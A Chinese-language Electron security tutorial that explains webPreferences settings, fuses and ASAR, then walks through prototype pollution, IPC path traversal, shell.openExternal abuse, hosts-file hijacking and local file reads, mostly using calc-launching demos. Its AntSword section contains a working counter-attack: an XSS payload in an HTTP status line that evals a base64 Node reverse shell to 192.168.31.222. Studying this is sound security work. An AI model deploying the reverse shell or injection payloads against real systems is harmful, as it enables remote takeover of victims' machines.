关注并星标🌟 一起学安全❤️
作者:coleak
首发于公号:渗透测试安全攻防
字数:9509
声明:仅供学习参考,请勿用作违法用途
目录
-
前记 -
内容总结 -
nodeIntegration -
contextIsolation -
Preload -
sandbox -
nodeIntegrationInSubFrames -
nodeIntegrationInWorker -
webSecurity -
allowRunningInsecureContent -
Fuse -
ASAR -
风险点 -
JS原型链污染 -
不安全的实现 -
内容劫持 -
本地文件读取 -
AntSword分析 -
reference
前记
大量内容来源于NOP Team,感谢NOP Team提供的相关实验数据
内容总结
nodeIntegration
在上下文隔离、沙箱均关闭的情况下,nodeIntegration影响渲染页面是否可以直接执行preload权限的NodeJS
,同时nodeIntegration会影响sandbox的有效性导致preload执行任意nodejs(显示设置sandbox可以强制使nodeIntegration生效)
注:从 Electron 6.0.0
开始 sandbox: true
时, Preload
脚本的 NodeJS
环境为受限环境
在此之前即使设置了 sandbox: true
预加载脚本还是可以加载并使用require('child_process')
这种模块
经过测试 iframe + window.open
的问题在 Electron 14.0.0
中被修复
contextIsolation
开启上下文隔离后,Preload
脚本将方法或变量暴露给渲染进程需要通过 contextBridge
,预加载脚本访问的 window
对象并不是网页所能直接访问的对象
contextIsolation
默认被设置为 false
是从 Electron 12.0.0
开始的
在 Electron
中,contextIsolation
为 true
时,可以有效隔离主进程、Preload
、渲染进程、iframe
及iframe+window.open
的语境,保证 JavaScript
内容不被篡改
contextIsolation
为 false
时,渲染进程和Preload
脚本共享一个 window
对象,即渲染进程可以访问并修改Preload
中 window.xxx
以及 JavaScript
内置对象的内容
在 Electron 14.0.0
前 iframe + window.open
可以访问达到和渲染进程一样的效果
Preload
在 sandbox
没有被设置为 true
时(Electron 20.0
版本开始默认值为 true
) ,预加载脚本是拥有完整Node.js
环境的(require('child_process').exec('calc')
)
|
|
---|---|
|
|
|
|
|
|
sandbox
在 Electron 20.0
版本后,虽然默认对渲染器进行沙盒化,但这并不等于从 20.0
版本开始默认 sandbox: true
,即 Electron 20.0
≠ sandbox:true
,因为当nodeIntegration
、nodeIntegrationInSubFrames
、nodeIntegrationInWorker
被设置为 true
时,sandbox
对于 Node.js
的保护效果会失效,显式设置 sandbox: true
后sandbox再次生效
nodeIntegrationInSubFrames
SubFrames
是指 iframe
和子窗口,nodeIntegrationInSubFrames在 SubFrames
中开启 Node.js
,``Preload会被注入到每一个
iframe`
nodeIntegrationInSubFrames
这个配置项的含义随着其他配置项而呈现不同效果,目前来看,影响的对象主要是 iframe
、object
、`embed
-
如果
nodeIntegrationInSubFrames
设置为true
时,preload
脚本中暴露的方法和值等将向iframe
、object
、embed
内暴露,也就是说iframe
、object
、embed
内部的内容中的JavaScript
可以直接使用Preload
脚本中定义好的功能和值 -
如果嵌入
iframe
、object
、embed
的宿主页面的安全配置为
-
sandbox: false
-
nodeIntegration: true
-
contextIsolation: false
-
nodeIntegrationInSubFrames: true
其中 sandbox
为 false
或默认即可,此时页面中嵌入的 iframe
、object
、embed
的内容可执行 Node.js
//index..html<iframe src="http://127.0.0.1/1.html"></iframe>//1.html<script src="iframe_1.js"></script>//iframe_1.jsrequire('child_process').exec('calc');
nodeIntegrationInWorker
从 Electron
的官方描述来看,nodeIntegrationInWorker
目前只支持专用 Worker
,而且必须将 sandbox
设置为 false
才有效。nodeIntegration
处于默认的 false
,这两个选项之间没有关系
如果开启 sandbox
,Worker
不再具备 Node.js
能力
只有当 sandbox
被显式地设置为 true
时,才会阻止 Worker
获得 Node.js
的能力,当然前提是 nodeIntegrationInWorker
被设置为 true
//main.jswebPreferences: {nodeIntegrationInWorker: true,sandbox: false,//不加上这行也可以preload: path.join(__dirname, 'preload.js')//renderer.js// 创建 Worker,传入 Worker 脚本文件的路径const myWorker = new Worker('worker.js');// 主线程向 Worker 发送消息myWorker.postMessage("message from main -> worker");// 监听 Worker 返回的结果myWorker.addEventListener('message', function(e) {const result = e.data;console.log('Received result from Worker:', result);// 根据结果进行后续操作}, false);// worker.jsself.addEventListener('message', function(e) {const data = e.data;// 处理收到的数据并进行计算或处理console.log(data)const result = "OK!!!"// 将结果发送回主线程 self.postMessage(result); }, false);require('child_process').exec('calc')
webSecurity
webSecurity的意义是开启同源策略,是 Electron
的默认值,即默认即开启同源策略
-
在本地加载 index.html
的时候,在本地资源中加载外部JavaScript
是不受webSecurity
影响的 -
当通过 loadURL
加载远程页面创建窗口时,webSecurity
选项有效,默认配置为true
,值为true
时,同源策略有效;当值为false
时,在Electron 9.0.0 ~ 10.1.2
版本中,关闭同源策略失败,同源策略仍然有效,这是一个bug
,除上述版本以外均会关闭同源策略,允许跨域加载JavaScript
-
需要注意的是,加载资源这个事还会受 CSP
(内容安全策略) 的影响
//main.jsmainWindow.loadURL('http://10.133.7.97:88/index.html')//受到webSecurity影响mainWindow.loadFile('index.html')//不受webSecurity影响//index.html <img src="x" onerror="import(unescape('http://10.133.7.97:99/payload.js'))" />
allowRunningInsecureContent
allowRunningInsecureContent的意义是:是/否允许在 HTTPS
的网站加载或执行HTTP
协议的 JavaScript
、CSS
、插件等
-
从 Electron 2.0.0
开始默认为false
,即不允许在HTTPS
网站中加载或执行HTTP
协议的内容 -
当 webSecurity
被设置为false
时,会自动将allowRunningInsecureContent
设置为true
-
allowRunningInsecureContent
仅在通过loadURL
等远程加载网站创建窗口的时候有意义,对于通过loadFile
加载本地文件的场景是没有作用的,同时Electron
也没有变态到默认所有的远程加载内容(包括页面内img
等元素的src
属性指定的内容)必须都是HTTPS
Fuse
-
runAsNode
:当做普通Node.js进程启动。将 cli 选项 传递给Node.js,如果禁用此保险丝,则主进程中的process.fork
将无法按预期运行 -
nodeCliInspect
:nodeCliInspect
这个 fuse 的效果设置在 MacOS 和 Deepin Linux 上表现一致,即当runAsNode
或nodeCliInspect
其中一个被设置为Enabled
,就可以进行远程调试。而在 Windows 11 上则只有当nodeCliInspect
被设置为Enabled
时才可以进行远程调试,与runAsNode
无关 -
nodeOptions
:在runAsNode
被设置为Enabled
时有效,NODE_OPTIONS
环境变量可用于将各种自定义选项传递给 Node.js 运行时 -
grantFileProtocolExtraPrivileges
:默认开启,使得file://
协议比 web 浏览器中的file://
协议具备更强大的功能
npx @electron/fuses read --app electron.exeset ELECTRON_RUN_AS_NODE=1electron.exe -e "require('child_process').exec('calc')"set NODE_OPTIONS="--require ./calc.js"npx @electron/fuses write --app electron.exe RunAsNode=off/on
ASAR
npm install -g asarasar pack <dir> <dir.asar>asar extract <dir.asar> <dir>asar list app.asar
const fs = require('node:fs');const path = require('node:path');// 加载渲染进程的 HTML 文件const p=("file:///"+__dirname+"/app.asar/index.html")require(path.join(__dirname, 'app.asar', 'a.js'))await mainWindow.loadURL(p);const b=fs.readdirSync(path.join(__dirname, 'app.asar'))const a = fs.readFileSync(path.join(__dirname, 'app.asar', 'cc.txt'), 'utf-8');
默认情况下,Electron
开发的程序检索 asar
文件的顺序是
-
app.asar -
app -
default_app.asar
当开启 onlyLoadAppFromAsar
时,就只使用 app.asar
风险点
JS原型链污染
-
每个构造函数都有一个 prototype
原型对象 -
每个实例对象都有一个 __proto__
属性,并且指向它的构造函数的原型对象prototype
-
对象里的 constructor
属性指向其构造函数本身
继承
const o = {a: 1,b: 2,// __proto__ 设置了 [[Prototype]]__proto__: {b: 3,c: 4, }, };console.log(o.a); // 1console.log(o.b); // 2console.log(o.c); // 4console.log(o.d); // undefined
从自身开始寻找,然后一层一层向上递归寻找,直到找到或是递归到
null
为止,此机制被称为JavaScript继承链
更长的原型链
functionBase() {}functionDerived() {}// 将 `Derived.prototype` 的 `[[Prototype]]`// 设置为 `Base.prototype`Object.setPrototypeOf(Derived.prototype, Base.prototype);const obj = new Derived();// obj ---> Derived.prototype ---> Base.prototype ---> Object.prototype ---> nullclassBase{}classDerivedextendsBase{}const obj = new Derived();// obj ---> Derived.prototype ---> Base.prototype ---> Object.prototype ---> nullconst obj = { a: 1 };const anotherObj = { b: 2 };Object.setPrototypeOf(obj, anotherObj);// obj ---> anotherObj ---> Object.prototype ---> null
简单的例子
object1 = {"a":1, "b":2};object1.__proto__.foo = "Hello World";console.log(object1.foo);object2 = {"c":1, "d":2};console.log(object2.foo);//"Hello World"functionmerge(target, source) {for (let key in source) {if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } }}let object1 = {}let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')merge(object1, object2)console.log(object1.a, object1.b)//1,2object3 = {}console.log(object3.b)//2
在获取 object2.foo 时,由于 object2 本身不存在 foo 属性,就会往父类 Object.prototype 中去寻找。这就造成了一个原型链污染
在preload.js中判断
window.getResult = (user_input) => {if (keys.indexOf(user_input) !== -1) {return ipcRenderer.invoke('invisible') } else {return ipcRenderer.invoke('normal') }}
关闭了 contextIsolation
后,这意味着渲染进程和预加载脚本共用一个上下文,即 window
。既然上下文没有隔离,那我们就可以修改这个全局作用域中的JavaScript
内置对象 Array.prototype
来进行原型链污染
Array.prototype.indexOf = () => {return1}
还可以配合重写 require
//preload.jswindow.diyRequire = (module_name) => {const forbidden_module = ["child_process", "shell"]if (forbidden_module.indexOf(module_name) !== -1) {console.log('not allow') } else {returnrequire(module_name) }}//renderer.jsArray.prototype.indexOf = () => {return-1}window.diyRequire('child_process').exec('calc')
不安全的实现
未校验输入
//preload.jsconst { contextBridge, ipcRenderer } = require('electron');contextBridge.exposeInMainWorld('myApi', {readFile: async (fileName) => {try {const data = await ipcRenderer.invoke('readFile', `docs/${fileName}`);return data; } catch (error) {console.error('Error invoking "readFile":', error);returnnull; } },});//main.jsipcMain.handle('readFile', async (event, filePath) => {try { filePath = path.join(__dirname, filePath)const data = await fs.promises.readFile(filePath, 'utf-8');return data; } catch (err) {console.error('Error reading file:', err);returnnull; } });//renderer.jsreadFileButton.addEventListener('click', async () => {const fileName = fileNameInput.value;const data = awaitwindow.myApi.readFile(fileName) fileContent.textContent = data || 'No content available.'});
预加载脚本没有做安全检查,将文件名称直接拼接传递给主进程,通过..目录穿越导致任意文件读取漏洞
过度暴露
const { contextBridge, ipcRenderer } = require('electron');// 错误地直接通过 contextBridge 将整个 ipcRenderer 对象暴露给渲染进程contextBridge.exposeInMainWorld('electronApi', {invoke: ipcRenderer.invoke,});
这样renderer.js可以通过invoke拿到preload的所有权限
shell.openExternal
ipcMain.handle('open-url', (event, url) => {// 使用shell.openExternal打开网址 shell.openExternal(url); });const { contextBridge, ipcRenderer } = require('electron')contextBridge.exposeInMainWorld('myAPI', {open_url: (url) => {// console.log(url) ipcRenderer.invoke('open-url', url) }})<script>document.getElementById('openButton').addEventListener('click', function() {const url = document.getElementById('urlInput').value;if (url) {// console.log(url)// 发送网址到主进程window.myAPI.open_url(url); } else { alert('Please enter a valid URL'); } }); </script>
url
如果用户可控并且没有做有效验证,攻击者可以发起其他协议的请求导致远程代码执行
C:WindowsSystem32calc.exe,\192.168.31.83publictest.exe,file:// 和 smb://
内容劫持
对于mainWindow.loadURL加载的HTTP页面,可以通过修改C:WindowsSystem32driversetchosts
或者是linux下的/etc/hosts
完成劫持
main.js
webPreferences: {nodeIntegration: true,contextIsolation: false,sandbox: false,preload: path.join(__dirname, 'preload.js') } }) mainWindow.loadURL('http://mirror.datamossa.io')
wget http://mirror.datamossa.io/ -O index.html
,在body中加<script>require('child_process').exec('calc')</script>
,开启服务器python -m http.server 80
,修改hosts文件添加127.0.0.1 mirror.datamossa.io
对于HTTPS,还是要面临以下问题:
-
证书泄漏 -
被加载内容本身存在 XSS
-
cdn
被攻击 -
静态资源缓存
本地文件读取
iframe、object标签或fetch
<iframesrc="file:///c:/a.txt"></iframe><objectdata="file:///c:/a.txt"type=""></object>
自定义协议
// main.js(主进程)const { app, protocol, BrowserWindow, session } = require('electron');const path = require('path');const url = require('url');app.whenReady().then(async () => {// 创建自定义 session,使用 'persist:myapp' 确保持久化存储const customSession = session.fromPartition('persist:myapp');// 使用 protocol.handle 注册协议处理程序,绑定到自定义 session customSession.protocol.handle('myapp', async (request) => {try {const filePath = url.fileURLToPath('file://' + __dirname + '/' + request.url.slice('myapp://'.length));returnnew Response(awaitrequire('fs/promises').readFile(filePath), {status: 200,headers: { 'content-type': getMimeType(filePath) } }); } catch (error) {console.error('协议处理错误:', error);returnnew Response('文件未找到', { status: 404 }); } });// 创建主窗口,并绑定自定义 sessionconst mainWindow = new BrowserWindow({width: 800,height: 600,webPreferences: {nodeIntegration: true,contextIsolation: false,partition: 'persist:myapp',//session: customSession // 绑定 session }, });// 加载渲染进程的 HTML 文件await mainWindow.loadFile('index.html');});// 辅助函数:根据文件扩展名获取 MIME 类型functiongetMimeType(filePath) {const ext = path.extname(filePath).toLowerCase();const mimeTypes = {'.png': 'image/png','.jpg': 'image/jpeg','.html': 'text/html','.css': 'text/css','.js': 'application/javascript', };return mimeTypes[ext] || 'application/octet-stream';}// 设置为默认协议客户端app.setAsDefaultProtocolClient('myapp');//index.html<imgsrc="myapp://0.png"alt="Logo"style="max-width: 300px;"><iframesrc="myapp://style.css"></iframe>
AntSword分析
上古版本的漏洞了,调试一下
AntSword.exe --remote-debugging-port=9222process.version'v6.1.0'默认的安全配置如下nodeIntegration: falsecontextIsolation: falsesandbox: false
但是根据process信息看到nodeIntegration=true
根据调用堆栈获取到触发流程如下:双击列表触发_onRowDblClicked,接着调用new FileManager(info),其中this.core.request(this.core.base.info())触发err被捕获执行toastr.error((typeof(err) === 'object') ? JSON.stringify(err) : String(err), LANG_T['error']);此刻statusMessage中有<img src=# onerror=alert(1)>
,在error中调用notify,notify代码如下,最后通过页面toast-container下的toast-message将alert(1)弹出
if (map.message) { $messageElement.append(map.message).addClass(options.messageClass); $toastElement.append($messageElement); }$container.prepend($toastElement);
反制代码如下
nc -lvp 1971<?php header("HTTP/1.1 500 <img src=1 onerror='eval(new Buffer(`dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpOwp2YXIgY21kID0gcmVxdWlyZSgiY2hpbGRfcHJvY2VzcyIpLmV4ZWMoImNtZC5leGUiKTsKdmFyIHNvY2tldCA9IG5ldyBuZXQuU29ja2V0KCk7CnNvY2tldC5jb25uZWN0KDE5NzEsICIxMjcuMC4wLjEiLCBmdW5jdGlvbigpewogICAgc29ja2V0LnBpcGUoY21kLnN0ZGluKTsKICAgIGNtZC5zdGRvdXQucGlwZShzb2NrZXQpOwogICAgY21kLnN0ZGVyci5waXBlKHNvY2tldCk7Cn0pOw==`,`base64`).toString())' />") ?>var net = require("net");var cmd = require("child_process").exec("cmd.exe");var socket = new net.Socket();socket.connect(1971, "192.168.31.222", function(){ socket.pipe(cmd.stdin); cmd.stdout.pipe(socket); cmd.stderr.pipe(socket);});
官方更新修复如下,通过replace将string中的标签编码
reference
https://mp.weixin.qq.com/mp/appmsgalbum?__biz=MzU1NDkwMzAyMg==&action=getalbum&album_id=3457633780112556033&scene=173&subscene=&sessionid=svr_a959630e925&enterid=1743765102&from_msgid=2247500135&from_itemidx=1&count=3&nolastread=1#wechat_redirecthttps://xz.aliyun.com/news/6594?time__1311=YqIxgDniiQDQYGXKCxUr%3DD9WLG8RdDB7ioD&u_atoken=65403954a52fb397962b2a070742820d&u_asig=0a47309317432677580823411e0136https://github.com/AntSwordProject/antSword/issues/147
原文始发于微信公众号(渗透测试安全攻防):Electron客户端安全入门【上】
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论